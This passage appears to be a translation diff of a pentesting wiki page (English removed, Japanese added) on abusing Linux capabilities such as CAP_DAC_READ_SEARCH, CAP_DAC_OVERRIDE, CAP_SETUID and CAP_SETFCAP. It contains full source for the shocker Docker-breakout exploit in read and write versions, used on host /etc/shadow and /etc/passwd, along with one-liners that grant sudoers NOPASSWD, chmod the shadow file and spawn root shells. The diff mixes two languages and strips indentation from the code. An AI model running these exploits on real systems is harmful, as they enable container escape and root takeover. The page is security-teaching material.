[https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) +この技術の別の例は、[https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host) にあります。 ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) は、プロセスが **ファイルの読み取りおよびディレクトリの読み取りと実行のための権限をバイパスする** ことを可能にします。その主な用途はファイル検索または読み取りの目的です。しかし、これによりプロセスは `open_by_handle_at(2)` 関数を使用でき、プロセスのマウントネームスペースの外にあるファイルを含む任意のファイルにアクセスできます。`open_by_handle_at(2)` で使用されるハンドルは、`name_to_handle_at(2)` を通じて取得された非透明な識別子であるべきですが、改ざんに脆弱なinode番号などの機密情報を含む可能性があります。この能力の悪用の可能性、特にDockerコンテナの文脈においては、Sebastian Krahmerによってショッカーエクスプロイトで示されました。詳細は[こちら](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で分析されています。 +**これは、ファイルの読み取り権限チェックとディレクトリの読み取り/実行権限チェックをバイパスできることを意味します。** -**Example with binary** - -The binary will be able to read any file. So, if a file like tar has this capability it will be able to read the shadow file: +**バイナリの例** +バイナリは任意のファイルを読み取ることができます。したがって、tarのようなファイルがこの能力を持っている場合、shadowファイルを読み取ることができます。 ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp cd /tmp tar -cxf shadow.tar.gz ``` +**バイナリ2の例** -**Example with binary2** - -In this case lets suppose that **`python`** binary has this capability. In order to list root files you could do: - +この場合、**`python`** バイナリがこの能力を持っていると仮定します。ルートファイルをリストするには、次のようにします: ```python import os for r, d, f in os.walk('/root'): - for filename in f: - print(filename) +for filename in f: +print(filename) ``` - -And in order to read a file you could do: - +ファイルを読むためには、次のようにできます: ```python print(open("/etc/shadow", "r").read()) ``` +**環境の例 (Dockerブレイクアウト)** -**Example in Environment (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` +前の出力の中で、**DAC_READ_SEARCH**権限が有効になっていることがわかります。その結果、コンテナは**プロセスをデバッグ**できます。 -Inside the previous output you can see that the **DAC_READ_SEARCH** capability is enabled. As a result, the container can **debug processes**. - -You can learn how the following exploiting works in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP_DAC_READ_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open_by_handle_at(2)**_ and **could allow our process to sensitive files opened by other processes**. - -The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** +次のエクスプロイトの仕組みについては[https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3)で学ぶことができますが、要約すると、**CAP_DAC_READ_SEARCH**は、許可チェックなしでファイルシステムを横断することを可能にするだけでなく、_**open_by_handle_at(2)**_へのチェックを明示的に削除し、**他のプロセスによって開かれた機密ファイルに私たちのプロセスがアクセスできる可能性があります**。 +この権限を悪用してホストからファイルを読み取る元のエクスプロイトはここにあります: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c)。以下は、読み取りたいファイルを最初の引数として指定し、ファイルにダンプすることを可能にする**修正バージョン**です。 ```c #include #include @@ -898,202 +794,186 @@ The original exploit that abuse this permissions to read files from the host can // ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char *msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle *h) { - fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, - h->handle_type); - for (int i = 0; i < h->handle_bytes; ++i) { - fprintf(stderr,"0x%02x", h->f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr,"\n"); - if (i < h->handle_bytes - 1) - fprintf(stderr,", "); - } - fprintf(stderr,"};\n"); +fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, +h->handle_type); +for (int i = 0; i < h->handle_bytes; ++i) { +fprintf(stderr,"0x%02x", h->f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr,"\n"); +if (i < h->handle_bytes - 1) +fprintf(stderr,", "); +} +fprintf(stderr,"};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR *dir = NULL; - struct dirent *de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); - oh->handle_type = 1; - oh->handle_bytes = 8; - return 1; - } +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR *dir = NULL; +struct dirent *de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); +oh->handle_type = 1; +oh->handle_bytes = 8; +return 1; +} - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de->d_name); - if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); - ino = de->d_ino; - break; - } - } +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de->d_name); +if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); +ino = de->d_ino; +break; +} +} - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, &ino, sizeof(ino)); - memcpy(outh.f_handle + 4, &i, sizeof(i)); - if ((i % (1<<20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); - if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle(&outh); - return find_handle(bfd, path, &outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, &ino, sizeof(ino)); +memcpy(outh.f_handle + 4, &i, sizeof(i)); +if ((i % (1<<20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); +if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle(&outh); +return find_handle(bfd, path, &outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc,char* argv[] ) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} - }; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} +}; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); +read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); - if (find_handle(fd1, argv[1], &root_h, &h) <= 0) - die("[-] Cannot find valid handle!"); +if (find_handle(fd1, argv[1], &root_h, &h) <= 0) +die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle(&h); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle(&h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) - die("[-] open_by_handle"); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) +die("[-] open_by_handle"); - memset(buf, 0, sizeof(buf)); - if (read(fd2, buf, sizeof(buf) - 1) < 0) - die("[-] read"); +memset(buf, 0, sizeof(buf)); +if (read(fd2, buf, sizeof(buf) - 1) < 0) +die("[-] read"); - printf("Success!!\n"); +printf("Success!!\n"); - FILE *fptr; - fptr = fopen(argv[2], "w"); - fprintf(fptr,"%s", buf); - fclose(fptr); +FILE *fptr; +fptr = fopen(argv[2], "w"); +fprintf(fptr,"%s", buf); +fclose(fptr); - close(fd2); close(fd1); +close(fd2); close(fd1); - return 0; +return 0; } ``` - > [!WARNING] -> The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: +> このエクスプロイトは、ホスト上にマウントされた何かへのポインタを見つける必要があります。元のエクスプロイトはファイル /.dockerinit を使用しており、この修正されたバージョンは /etc/hostname を使用しています。エクスプロイトが機能しない場合は、別のファイルを設定する必要があるかもしれません。ホストにマウントされているファイルを見つけるには、mount コマンドを実行してください: ![](<../../images/image (407) (1).png>) -**The code of this technique was copied from the laboratory of "Abusing DAC_READ_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) - -​ - -
- -​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +**この技術のコードは、** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) **の「DAC_READ_SEARCH Capabilityの悪用」ラボからコピーされました。** ## CAP_DAC_OVERRIDE -**This mean that you can bypass write permission checks on any file, so you can write any file.** +**これは、任意のファイルに対する書き込み権限チェックをバイパスできることを意味し、任意のファイルに書き込むことができます。** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +特権を昇格させるために**上書きできるファイルはたくさんあります。** [**ここからアイデアを得ることができます。**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges) -**Example with binary** - -In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: +**バイナリの例** +この例では、vim はこの能力を持っているため、_passwd_、_sudoers_、または _shadow_ のような任意のファイルを変更できます: ```bash getcap -r / 2>/dev/null /usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it ``` +**バイナリ2の例** -**Example with binary 2** - -In this example **`python`** binary will have this capability. You could use python to override any file: - +この例では、**`python`** バイナリはこの能力を持ちます。あなたはpythonを使って任意のファイルを上書きすることができます: ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` +**環境 + CAP_DAC_READ_SEARCH (Dockerブレイクアウト) の例** -**Example with environment + CAP_DAC_READ_SEARCH (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します: ```bash capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap Securebits: 00/0x0/1'b0 - secure-noroot: no (unlocked) - secure-no-suid-fixup: no (unlocked) - secure-keep-caps: no (unlocked) +secure-noroot: no (unlocked) +secure-no-suid-fixup: no (unlocked) +secure-keep-caps: no (unlocked) uid=0(root) gid=0(root) groups=0(root) ``` - -First of all read the previous section that [**abuses DAC_READ_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap_dac_read_search) of the host and **compile** the exploit.\ -Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem: - +まず最初に、ホストの[**DAC_READ_SEARCH能力を悪用して任意のファイルを読み取る**](linux-capabilities.md#cap_dac_read_search)前のセクションを読み、**エクスプロイトをコンパイル**してください。\ +次に、ホストのファイルシステム内に**任意のファイルを書き込む**ことを可能にする**次のバージョンのショッカーエクスプロイトをコンパイル**してください: ```c #include #include @@ -1110,179 +990,169 @@ Then, **compile the following version of the shocker exploit** that will allow y // ./shocker_write /etc/passwd passwd struct my_file_handle { - unsigned int handle_bytes; - int handle_type; - unsigned char f_handle[8]; +unsigned int handle_bytes; +int handle_type; +unsigned char f_handle[8]; }; void die(const char * msg) { - perror(msg); - exit(errno); +perror(msg); +exit(errno); } void dump_handle(const struct my_file_handle * h) { - fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, - h -> handle_type); - for (int i = 0; i < h -> handle_bytes; ++i) { - fprintf(stderr, "0x%02x", h -> f_handle[i]); - if ((i + 1) % 20 == 0) - fprintf(stderr, "\n"); - if (i < h -> handle_bytes - 1) - fprintf(stderr, ", "); - } - fprintf(stderr, "};\n"); +fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes, +h -> handle_type); +for (int i = 0; i < h -> handle_bytes; ++i) { +fprintf(stderr, "0x%02x", h -> f_handle[i]); +if ((i + 1) % 20 == 0) +fprintf(stderr, "\n"); +if (i < h -> handle_bytes - 1) +fprintf(stderr, ", "); +} +fprintf(stderr, "};\n"); } int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) { - int fd; - uint32_t ino = 0; - struct my_file_handle outh = { - .handle_bytes = 8, - .handle_type = 1 - }; - DIR * dir = NULL; - struct dirent * de = NULL; - path = strchr(path, '/'); - // recursion stops if path has been resolved - if (!path) { - memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); - oh -> handle_type = 1; - oh -> handle_bytes = 8; - return 1; - } - ++path; - fprintf(stderr, "[*] Resolving '%s'\n", path); - if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) - die("[-] open_by_handle_at"); - if ((dir = fdopendir(fd)) == NULL) - die("[-] fdopendir"); - for (;;) { - de = readdir(dir); - if (!de) - break; - fprintf(stderr, "[*] Found %s\n", de -> d_name); - if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { - fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); - ino = de -> d_ino; - break; - } - } - fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); - if (de) { - for (uint32_t i = 0; i < 0xffffffff; ++i) { - outh.handle_bytes = 8; - outh.handle_type = 1; - memcpy(outh.f_handle, & ino, sizeof(ino)); - memcpy(outh.f_handle + 4, & i, sizeof(i)); - if ((i % (1 << 20)) == 0) - fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); - if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { - closedir(dir); - close(fd); - dump_handle( & outh); - return find_handle(bfd, path, & outh, oh); - } - } - } - closedir(dir); - close(fd); - return 0; +int fd; +uint32_t ino = 0; +struct my_file_handle outh = { +.handle_bytes = 8, +.handle_type = 1 +}; +DIR * dir = NULL; +struct dirent * de = NULL; +path = strchr(path, '/'); +// recursion stops if path has been resolved +if (!path) { +memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle)); +oh -> handle_type = 1; +oh -> handle_bytes = 8; +return 1; +} +++path; +fprintf(stderr, "[*] Resolving '%s'\n", path); +if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0) +die("[-] open_by_handle_at"); +if ((dir = fdopendir(fd)) == NULL) +die("[-] fdopendir"); +for (;;) { +de = readdir(dir); +if (!de) +break; +fprintf(stderr, "[*] Found %s\n", de -> d_name); +if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) { +fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino); +ino = de -> d_ino; +break; +} +} +fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); +if (de) { +for (uint32_t i = 0; i < 0xffffffff; ++i) { +outh.handle_bytes = 8; +outh.handle_type = 1; +memcpy(outh.f_handle, & ino, sizeof(ino)); +memcpy(outh.f_handle + 4, & i, sizeof(i)); +if ((i % (1 << 20)) == 0) +fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i); +if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) { +closedir(dir); +close(fd); +dump_handle( & outh); +return find_handle(bfd, path, & outh, oh); +} +} +} +closedir(dir); +close(fd); +return 0; } int main(int argc, char * argv[]) { - char buf[0x1000]; - int fd1, fd2; - struct my_file_handle h; - struct my_file_handle root_h = { - .handle_bytes = 8, - .handle_type = 1, - .f_handle = { - 0x02, - 0, - 0, - 0, - 0, - 0, - 0, - 0 - } - }; - fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" - "[***] The tea from the 90's kicks your sekurity again. [***]\n" - "[***] If you have pending sec consulting, I'll happily [***]\n" - "[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); - read(0, buf, 1); - // get a FS reference from something mounted in from outside - if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) - die("[-] open"); - if (find_handle(fd1, argv[1], & root_h, & h) <= 0) - die("[-] Cannot find valid handle!"); - fprintf(stderr, "[!] Got a final handle!\n"); - dump_handle( & h); - if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) - die("[-] open_by_handle"); - char * line = NULL; - size_t len = 0; - FILE * fptr; - ssize_t read; - fptr = fopen(argv[2], "r"); - while ((read = getline( & line, & len, fptr)) != -1) { - write(fd2, line, read); - } - printf("Success!!\n"); - close(fd2); - close(fd1); - return 0; +char buf[0x1000]; +int fd1, fd2; +struct my_file_handle h; +struct my_file_handle root_h = { +.handle_bytes = 8, +.handle_type = 1, +.f_handle = { +0x02, +0, +0, +0, +0, +0, +0, +0 +} +}; +fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" +"[***] The tea from the 90's kicks your sekurity again. [***]\n" +"[***] If you have pending sec consulting, I'll happily [***]\n" +"[***] forward to my friends who drink secury-tea too! [***]\n\n\n"); +read(0, buf, 1); +// get a FS reference from something mounted in from outside +if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) +die("[-] open"); +if (find_handle(fd1, argv[1], & root_h, & h) <= 0) +die("[-] Cannot find valid handle!"); +fprintf(stderr, "[!] Got a final handle!\n"); +dump_handle( & h); +if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0) +die("[-] open_by_handle"); +char * line = NULL; +size_t len = 0; +FILE * fptr; +ssize_t read; +fptr = fopen(argv[2], "r"); +while ((read = getline( & line, & len, fptr)) != -1) { +write(fd2, line, read); +} +printf("Success!!\n"); +close(fd2); +close(fd1); +return 0; } ``` +Dockerコンテナから脱出するために、ホストからファイル`/etc/shadow`と`/etc/passwd`を**ダウンロード**し、それに**新しいユーザー**を**追加**し、**`shocker_write`**を使用して上書きすることができます。その後、**ssh**経由で**アクセス**します。 -In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. - -**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**この技術のコードは、** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) **の「DAC_OVERRIDE Capabilityの悪用」ラボからコピーされました。** ## CAP_CHOWN -**This means that it's possible to change the ownership of any file.** +**これは、任意のファイルの所有権を変更できることを意味します。** -**Example with binary** - -Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: +**バイナリの例** +**`python`**バイナリがこの能力を持っていると仮定すると、**shadow**ファイルの**所有者**を**変更**し、**rootパスワード**を**変更**し、特権を昇格させることができます。 ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` - -Or with the **`ruby`** binary having this capability: - +または、**`ruby`** バイナリがこの能力を持っている場合: ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` - ## CAP_FOWNER -**This means that it's possible to change the permission of any file.** +**これは、任意のファイルの権限を変更できることを意味します。** -**Example with binary** - -If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: +**バイナリの例** +もしpythonがこの能力を持っていれば、shadowファイルの権限を変更し、**rootパスワードを変更**し、特権を昇格させることができます: ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` - ### CAP_SETUID -**This means that it's possible to set the effective user id of the created process.** +**これは、作成されたプロセスの有効ユーザーIDを設定できることを意味します。** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**バイナリの例** +もしpythonがこの**capability**を持っている場合、特権をrootに昇格させるために非常に簡単に悪用できます: ```python import os os.setuid(0) os.system("/bin/bash") ``` - -**Another way:** - +**別の方法:** ```python import os import prctl @@ -1291,17 +1161,15 @@ prctl.cap_effective.setuid = True os.setuid(0) os.system("/bin/bash") ``` - ## CAP_SETGID -**This means that it's possible to set the effective group id of the created process.** +**これは、作成されたプロセスの有効グループIDを設定できることを意味します。** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +特権を昇格させるために**上書きできるファイルがたくさんあります、** [**ここからアイデアを得ることができます**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges)。 -**Example with binary** - -In this case you should look for interesting files that a group can read because you can impersonate any group: +**バイナリの例** +この場合、グループが読み取れる興味深いファイルを探すべきです。なぜなら、任意のグループを偽装できるからです: ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1310,31 +1178,25 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` - -Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: - +ファイルを見つけて(読み取りまたは書き込みを通じて)特権を昇格させることができる場合、次のコマンドを使用して**興味深いグループを偽装したシェルを取得**できます: ```python import os os.setgid(42) os.system("/bin/bash") ``` - -In this case the group shadow was impersonated so you can read the file `/etc/shadow`: - +この場合、グループshadowが偽装されたため、ファイル`/etc/shadow`を読むことができます: ```bash cat /etc/shadow ``` - -If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). +もし**docker**がインストールされている場合、**docker group**を**なりすます**ことができ、[**docker socket**と特権を昇格させる](./#writable-docker-socket)ためにそれを悪用することができます。 ## CAP_SETFCAP -**This means that it's possible to set capabilities on files and processes** +**これは、ファイルやプロセスに能力を設定することが可能であることを意味します** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**バイナリの例** +もしpythonがこの**能力**を持っている場合、特権をrootに昇格させるためにそれを非常に簡単に悪用できます: ```python:setcapability.py import ctypes, sys @@ -1355,22 +1217,20 @@ cap_t = libcap.cap_from_text(cap) status = libcap.cap_set_file(path,cap_t) if(status == 0): - print (cap + " was successfully added to " + path) +print (cap + " was successfully added to " + path) ``` ```bash python setcapability.py /usr/bin/python2.7 ``` - > [!WARNING] -> Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap. +> 新しい能力をバイナリにCAP_SETFCAPで設定すると、この能力を失うことに注意してください。 -Once you have [SETUID capability](linux-capabilities.md#cap_setuid) you can go to its section to see how to escalate privileges. +[SETUID capability](linux-capabilities.md#cap_setuid)を持っていると、特権を昇格させる方法を見るためにそのセクションに移動できます。 -**Example with environment (Docker breakout)** - -By default the capability **CAP_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like: +**環境の例(Dockerブレイクアウト)** +デフォルトでは、能力**CAP_SETFCAPはDocker内のコンテナ内のプロセスに与えられます**。何かをすることでそれを確認できます: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1382,10 +1242,8 @@ CapAmb: 0000000000000000 capsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` - -This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\ -However, if you try to give for example the capabilities CAP_SYS_ADMIN and CAP_SYS_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**: - +この能力は**バイナリに他の任意の能力を与える**ことを可能にするため、私たちはこのページで言及されている**他の能力のブレイクアウトを悪用して**コンテナから**脱出**することを考えることができます。\ +しかし、例えばgdbバイナリにCAP_SYS_ADMINとCAP_SYS_PTRACEの能力を与えようとすると、それらを与えることはできますが、**この後バイナリは実行できなくなります**: ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1395,27 +1253,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` - -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP_SETPCAP** capability in its effective set._\ -It looks like the Permitted capabilities limit the ones that can be used.\ -However, Docker also grants the **CAP_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\ -However, in the documentation of this cap: _CAP_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ -It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP_SYS_ADMIN or CAP_SYS_PTRACE in the inherit set to escalate privileges**. +[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: 